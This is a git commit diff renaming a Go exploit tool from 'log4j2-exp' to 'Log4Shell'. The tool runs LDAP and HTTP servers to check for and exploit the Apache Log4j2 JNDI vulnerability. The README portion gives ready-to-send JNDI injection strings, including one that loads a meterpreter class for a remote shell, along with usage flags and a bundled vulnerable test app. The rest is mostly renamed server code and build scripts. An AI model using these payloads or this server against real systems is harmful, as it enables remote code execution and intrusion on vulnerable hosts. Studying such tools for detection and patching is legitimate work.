rename project to Log4Shell, update readme.

For-ACGN · For-ACGN · commit b9d0e3cfd2e3 · 2021-12-17T20:28:51.000+08:00
diff --git a/README.md b/README.md
@@ -1,48 +1,48 @@
-# log4j2-exp
+# Log4Shell
  * Check and exploit log4j2 vulnerability with single Go program. 
  * You don't need to install anything except develop it.
  * It supports ldaps and https server for other usage.
 
 ## Run
-   ```log4j2-exp.exe -host "VPS IP address"```
-  
+   ```Log4Shell.exe -host "VPS IP address"```
 
 ## Check
- * run the log4j2-exp server
- * send ```${jndi:ldap://127.0.0.1/nop.class}```
+ * run the Log4Shell server
+ * send ```${jndi:ldap://127.0.0.1:3890/nop.class}```
 
 ## Exploit
- * run the log4j2-exp server
+ * run the Log4Shell server
  * put your class file to the payload directory
- * send ```${jndi:ldap://127.0.0.1/meterpreter.class}```
+ * send ```${jndi:ldap://127.0.0.1:3890/meterpreter.class}```
  * will open source after some time
 
 ## VulApp
  * VulApp is a vulnerable Java program that use log4j2 package.
  * You can use it for develop this project easily.
- * ```java -jar vulapp.jar ${jndi:ldap://127.0.0.1/calc.class}```
+ * ```java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/calc.class}```
 
 ## Help
   ```
-  :::        ::::::::   ::::::::      :::   ::::::::::: ::::::::
-  :+:       :+:    :+: :+:    :+:    :+:        :+:    :+:    :+:
-  +:+       +:+    +:+ +:+          +:+ +:+     +:+          +:+
-  +#+       +#+    +:+ :#:         +#+  +:+     +#+        +#+
-  +#+       +#+    +#+ +#+   +#+# +#+#+#+#+#+   +#+      +#+
-  #+#       #+#    #+# #+#    #+#       #+# #+# #+#     #+#
-  ########## ########   ########        ###  #####     ##########
+  
+  :::      ::::::::   ::::::::      :::     ::::::::  :::    ::: :::::::::: :::      :::
+  :+:     :+:    :+: :+:    :+:    :+:     :+:    :+: :+:    :+: :+:        :+:      :+:
+  +:+     +:+    +:+ +:+          +:+ +:+  +:+        +:+    +:+ +:+        +:+      +:+
+  +#+     +#+    +:+ :#:         +#+  +:+  +#++:++#++ +#++:++#++ +#++:++#   +#+      +#+
+  +#+     +#+    +#+ +#+   +#+# +#+#+#+#+#+       +#+ +#+    +#+ +#+        +#+      +#+
+  #+#     #+#    #+# #+#    #+#       #+#  #+#    #+# #+#    #+# #+#        #+#      #+#
+  ######## ########   ########        ###   ########  ###    ### ########## ######## ########
 
-                           https://github.com/For-ACGN/log4j2-exp
+                                                        https://github.com/For-ACGN/Log4Shell
 
-Usage of log4j2-exp.exe:
+Usage of Log4Shell.exe:
   -host string
         server IP address or domain name (default "127.0.0.1")
   -http-addr string
         http server address (default ":8080")
   -http-net string
         http server network (default "tcp")
   -ldap-addr string
-        ldap server address (default ":389")
+        ldap server address (default ":3890")
   -ldap-net string
         ldap server network (default "tcp")
   -payload string
@@ -56,4 +56,4 @@ Usage of log4j2-exp.exe:
   ```
 
 ## Screenshot
-![](https://github.com/For-ACGN/log4j2-exp/raw/main/screenshot.png)
+![](https://github.com/For-ACGN/Log4Shell/raw/main/screenshot.png)
diff --git a/autocert.go b/autocert.go
@@ -1,4 +1,4 @@
-package log4j2
+package log4shell
 
 import (
 	"fmt"
diff --git a/autocert_test.go b/autocert_test.go
@@ -1 +1 @@
-package log4j2
+package log4shell
diff --git a/build.bat b/build.bat
@@ -3,18 +3,18 @@ cd bin
 
 set GOOS=windows
 set GOARCH=386
-go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_386.exe ../cmd/main.go
+go build -v -trimpath -ldflags "-s -w" -o Log4Shell_386.exe ../cmd/main.go
 
 set GOOS=windows
 set GOARCH=amd64
-go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_amd64.exe ../cmd/main.go
+go build -v -trimpath -ldflags "-s -w" -o Log4Shell_amd64.exe ../cmd/main.go
 
 set GOOS=linux
 set GOARCH=386
-go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_386.elf ../cmd/main.go
+go build -v -trimpath -ldflags "-s -w" -o Log4Shell_386.elf ../cmd/main.go
 
 set GOOS=linux
 set GOARCH=amd64
-go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_amd64.elf ../cmd/main.go
+go build -v -trimpath -ldflags "-s -w" -o Log4Shell_amd64.elf ../cmd/main.go
 
 cd ..
diff --git a/build.sh b/build.sh
@@ -3,18 +3,18 @@ cd bin
 
 set GOOS=windows
 set GOARCH=386
-go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_386.exe ../cmd/main.go
+go build -v -trimpath -ldflags "-s -w" -o log4shell_386.exe ../cmd/main.go
 
 set GOOS=windows
 set GOARCH=amd64
-go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_amd64.exe ../cmd/main.go
+go build -v -trimpath -ldflags "-s -w" -o log4shell_amd64.exe ../cmd/main.go
 
 set GOOS=linux
 set GOARCH=386
-go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_386.elf ../cmd/main.go
+go build -v -trimpath -ldflags "-s -w" -o log4shell_386.elf ../cmd/main.go
 
 set GOOS=linux
 set GOARCH=amd64
-go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_amd64.elf ../cmd/main.go
+go build -v -trimpath -ldflags "-s -w" -o log4shell_amd64.elf ../cmd/main.go
 
 cd ..
diff --git a/cmd/build.bat b/cmd/build.bat
@@ -1 +1 @@
-go build -v -trimpath -ldflags "-s -w" -o log4j2-exp.exe
+go build -v -trimpath -ldflags "-s -w" -o Log4Shell.exe
diff --git a/cmd/build.sh b/cmd/build.sh
@@ -1 +1 @@
-go build -v -trimpath -ldflags "-s -w" -o log4j2-exp
+go build -v -trimpath -ldflags "-s -w" -o log4shell
diff --git a/cmd/main.go b/cmd/main.go
@@ -8,11 +8,11 @@ import (
 	"os"
 	"os/signal"
 
-	"github.com/For-ACGN/log4j2-exp"
+	"github.com/For-ACGN/Log4Shell"
 )
 
 var (
-	cfg log4j2.Config
+	cfg log4shell.Config
 	crt string
 	key string
 )
@@ -35,15 +35,15 @@ func init() {
 
 func banner() {
 	fmt.Println()
-	fmt.Println("  :::        ::::::::   ::::::::      :::   ::::::::::: ::::::::  ")
-	fmt.Println("  :+:       :+:    :+: :+:    :+:    :+:        :+:    :+:    :+: ")
-	fmt.Println("  +:+       +:+    +:+ +:+          +:+ +:+     +:+          +:+  ")
-	fmt.Println("  +#+       +#+    +:+ :#:         +#+  +:+     +#+        +#+    ")
-	fmt.Println("  +#+       +#+    +#+ +#+   +#+# +#+#+#+#+#+   +#+      +#+      ")
-	fmt.Println("  #+#       #+#    #+# #+#    #+#       #+# #+# #+#     #+#       ")
-	fmt.Println("  ########## ########   ########        ###  #####     ########## ")
+	fmt.Println("  :::      ::::::::   ::::::::      :::     ::::::::  :::    ::: :::::::::: :::      :::     ")
+	fmt.Println("  :+:     :+:    :+: :+:    :+:    :+:     :+:    :+: :+:    :+: :+:        :+:      :+:     ")
+	fmt.Println("  +:+     +:+    +:+ +:+          +:+ +:+  +:+        +:+    +:+ +:+        +:+      +:+     ")
+	fmt.Println("  +#+     +#+    +:+ :#:         +#+  +:+  +#++:++#++ +#++:++#++ +#++:++#   +#+      +#+     ")
+	fmt.Println("  +#+     +#+    +#+ +#+   +#+# +#+#+#+#+#+       +#+ +#+    +#+ +#+        +#+      +#+     ")
+	fmt.Println("  #+#     #+#    #+# #+#    #+#       #+#  #+#    #+# #+#    #+# #+#        #+#      #+#     ")
+	fmt.Println("  ######## ########   ########        ###   ########  ###    ### ########## ######## ########")
 	fmt.Println()
-	fmt.Println("                           https://github.com/For-ACGN/log4j2-exp")
+	fmt.Println("                                                        https://github.com/For-ACGN/Log4Shell")
 	fmt.Println()
 }
 
@@ -64,13 +64,13 @@ func main() {
 	}
 	cfg.LogOut = os.Stdout
 
-	// start log4j2-exploit server
-	server, err := log4j2.New(&cfg)
+	// start log4shell server
+	server, err := log4shell.New(&cfg)
 	checkError(err)
 	err = server.Start()
 	checkError(err)
 
-	// wait signal for stop log4j2-exploit server
+	// wait signal for stop log4shell server
 	signalCh := make(chan os.Signal, 1)
 	signal.Notify(signalCh, os.Interrupt)
 	<-signalCh
diff --git a/go.mod b/go.mod
@@ -1,4 +1,4 @@
-module github.com/For-ACGN/log4j2-exp
+module github.com/For-ACGN/Log4Shell
 
 go 1.17
 
diff --git a/http.go b/http.go
@@ -1,4 +1,4 @@
-package log4j2
+package log4shell
 
 import (
 	"log"
diff --git a/http_test.go b/http_test.go
@@ -1 +1 @@
-package log4j2
+package log4shell
diff --git a/ldap.go b/ldap.go
@@ -1,4 +1,4 @@
-package log4j2
+package log4shell
 
 import (
 	"log"
diff --git a/ldap_test.go b/ldap_test.go
@@ -1 +1 @@
-package log4j2
+package log4shell
diff --git a/log4shell.go b/log4shell.go
@@ -1,4 +1,4 @@
-package log4j2
+package log4shell
 
 import (
 	"crypto/tls"
@@ -14,7 +14,7 @@ import (
 	"github.com/pkg/errors"
 )
 
-// Config contains configurations about log4j2-exploit server.
+// Config contains configurations about log4shell server.
 type Config struct {
 	LogOut io.Writer
 
@@ -30,9 +30,10 @@ type Config struct {
 	TLSCert   tls.Certificate
 }
 
-// Log4j2 is used to exploit Apache Log4j2 vulnerability easily.
-// It contains ldap and http server.
-type Log4j2 struct {
+// Server is used to create an exploit server that contain
+// a http server and ldap server(can wrap tls), it used to
+// check and exploit Apache Log4j2 vulnerability easily.
+type Server struct {
 	logger    *log.Logger
 	enableTLS bool
 
@@ -48,8 +49,8 @@ type Log4j2 struct {
 	wg sync.WaitGroup
 }
 
-// New is used to create a new log4j2-exploit server.
-func New(cfg *Config) (*Log4j2, error) {
+// New is used to create a new log4shell server.
+func New(cfg *Config) (*Server, error) {
 	logger := log.New(cfg.LogOut, "", log.LstdFlags)
 	ldapserver.Logger = logger
 
@@ -113,8 +114,8 @@ func New(cfg *Config) (*Log4j2, error) {
 	ldapServer.ReadTimeout = time.Minute
 	ldapServer.WriteTimeout = time.Minute
 
-	// create log4j2-exploit server
-	log4j2 := Log4j2{
+	// create log4shell server
+	server := Server{
 		logger:       logger,
 		enableTLS:    cfg.EnableTLS,
 		httpListener: httpListener,
@@ -124,37 +125,37 @@ func New(cfg *Config) (*Log4j2, error) {
 		ldapHandler:  &ldapHandler,
 		ldapServer:   ldapServer,
 	}
-	return &log4j2, nil
+	return &server, nil
 }
 
-// Start is used to start log4j2-exploit server.
-func (log4j2 *Log4j2) Start() error {
-	log4j2.mu.Lock()
-	defer log4j2.mu.Unlock()
+// Start is used to start log4shell server.
+func (srv *Server) Start() error {
+	srv.mu.Lock()
+	defer srv.mu.Unlock()
 
 	errCh := make(chan error, 2)
 	// start http server
-	log4j2.wg.Add(1)
+	srv.wg.Add(1)
 	go func() {
-		defer log4j2.wg.Done()
+		defer srv.wg.Done()
 		var err error
-		if log4j2.enableTLS {
-			err = log4j2.httpServer.ServeTLS(log4j2.httpListener, "", "")
+		if srv.enableTLS {
+			err = srv.httpServer.ServeTLS(srv.httpListener, "", "")
 		} else {
-			err = log4j2.httpServer.Serve(log4j2.httpListener)
+			err = srv.httpServer.Serve(srv.httpListener)
 		}
 		errCh <- err
 	}()
 
 	// start ldap server
-	log4j2.wg.Add(1)
+	srv.wg.Add(1)
 	go func() {
-		defer log4j2.wg.Done()
+		defer srv.wg.Done()
 		var err error
-		if log4j2.enableTLS {
-			err = log4j2.ldapServer.ServeTLS(log4j2.ldapListener)
+		if srv.enableTLS {
+			err = srv.ldapServer.ServeTLS(srv.ldapListener)
 		} else {
-			err = log4j2.ldapServer.Serve(log4j2.ldapListener)
+			err = srv.ldapServer.Serve(srv.ldapListener)
 		}
 		errCh <- err
 	}()
@@ -164,29 +165,29 @@ func (log4j2 *Log4j2) Start() error {
 		return err
 	case <-time.After(250 * time.Millisecond):
 	}
-	log4j2.logger.Println("[info]", "start http server", log4j2.httpListener.Addr())
-	log4j2.logger.Println("[info]", "start ldap server", log4j2.ldapListener.Addr())
-	log4j2.logger.Println("[info]", "start log4j2-exploit server successfully")
+	srv.logger.Println("[info]", "start http server", srv.httpListener.Addr())
+	srv.logger.Println("[info]", "start ldap server", srv.ldapListener.Addr())
+	srv.logger.Println("[info]", "start log4shell server successfully")
 	return nil
 }
 
-// Stop is used to stop log4j2-exploit server.
-func (log4j2 *Log4j2) Stop() error {
-	log4j2.mu.Lock()
-	defer log4j2.mu.Unlock()
+// Stop is used to stop log4shell server.
+func (srv *Server) Stop() error {
+	srv.mu.Lock()
+	defer srv.mu.Unlock()
 
 	// close http server
-	err := log4j2.httpServer.Close()
+	err := srv.httpServer.Close()
 	if err != nil {
 		return errors.Wrap(err, "failed to close http server")
 	}
-	log4j2.logger.Println("[info]", "http server is stopped")
+	srv.logger.Println("[info]", "http server is stopped")
 
 	// close ldap server
-	log4j2.ldapServer.Stop()
-	log4j2.logger.Println("[info]", "ldap server is stopped")
+	srv.ldapServer.Stop()
+	srv.logger.Println("[info]", "ldap server is stopped")
 
-	log4j2.wg.Wait()
-	log4j2.logger.Println("[info]", "log4j2-exploit server is stopped")
+	srv.wg.Wait()
+	srv.logger.Println("[info]", "log4shell server is stopped")
 	return nil
 }
diff --git a/log4shell_test.go b/log4shell_test.go
@@ -1,4 +1,4 @@
-package log4j2
+package log4shell
 
 import (
 	"crypto/rand"
@@ -27,7 +27,7 @@ func testGenerateConfig() *Config {
 	}
 }
 
-func TestLog4j2(t *testing.T) {
+func TestLog4Shell(t *testing.T) {
 	server, err := New(testGenerateConfig())
 	require.NoError(t, err)
 
@@ -40,7 +40,7 @@ func TestLog4j2(t *testing.T) {
 	require.NoError(t, err)
 }
 
-func TestLog4j2TLS(t *testing.T) {
+func TestLog4Shell_TLS(t *testing.T) {
 	_, cert, pri := testGenerateCert(t, "127.0.0.1")
 	crt, err := tls.X509KeyPair(cert, pri)
 	require.NoError(t, err)
diff --git a/obfuscate.go b/obfuscate.go
@@ -1,4 +1,4 @@
-package log4j2
+package log4shell
 
 import (
 	"math/rand"
diff --git a/obfuscate_test.go b/obfuscate_test.go
diff --git a/rand.go b/rand.go
diff --git a/rand_test.go b/rand_test.go
diff --git a/vulapp/jar/calc.bat b/vulapp/jar/calc.bat
diff --git a/vulapp/jar/nop.bat b/vulapp/jar/nop.bat
diff --git a/vulapp/jar/notepad.bat b/vulapp/jar/notepad.bat

Original file line number	Diff line number	Diff line change
`@@ -1,4 +1,4 @@`
`1`		`-package log4j2`
	`1`	`+package log4shell`
`2`	`2`
`3`	`3`	`import (`
`4`	`4`	`"fmt"`
Original file line number	Diff line number	Diff line change
`@@ -1 +1 @@`
`1`		`-go build -v -trimpath -ldflags "-s -w" -o log4j2-exp.exe`
	`1`	`+go build -v -trimpath -ldflags "-s -w" -o Log4Shell.exe`
Original file line number	Diff line number	Diff line change
`@@ -1,4 +1,4 @@`
`1`		`-module github.com/For-ACGN/log4j2-exp`
	`1`	`+module github.com/For-ACGN/Log4Shell`
`2`	`2`
`3`	`3`	`go 1.17`
`4`	`4`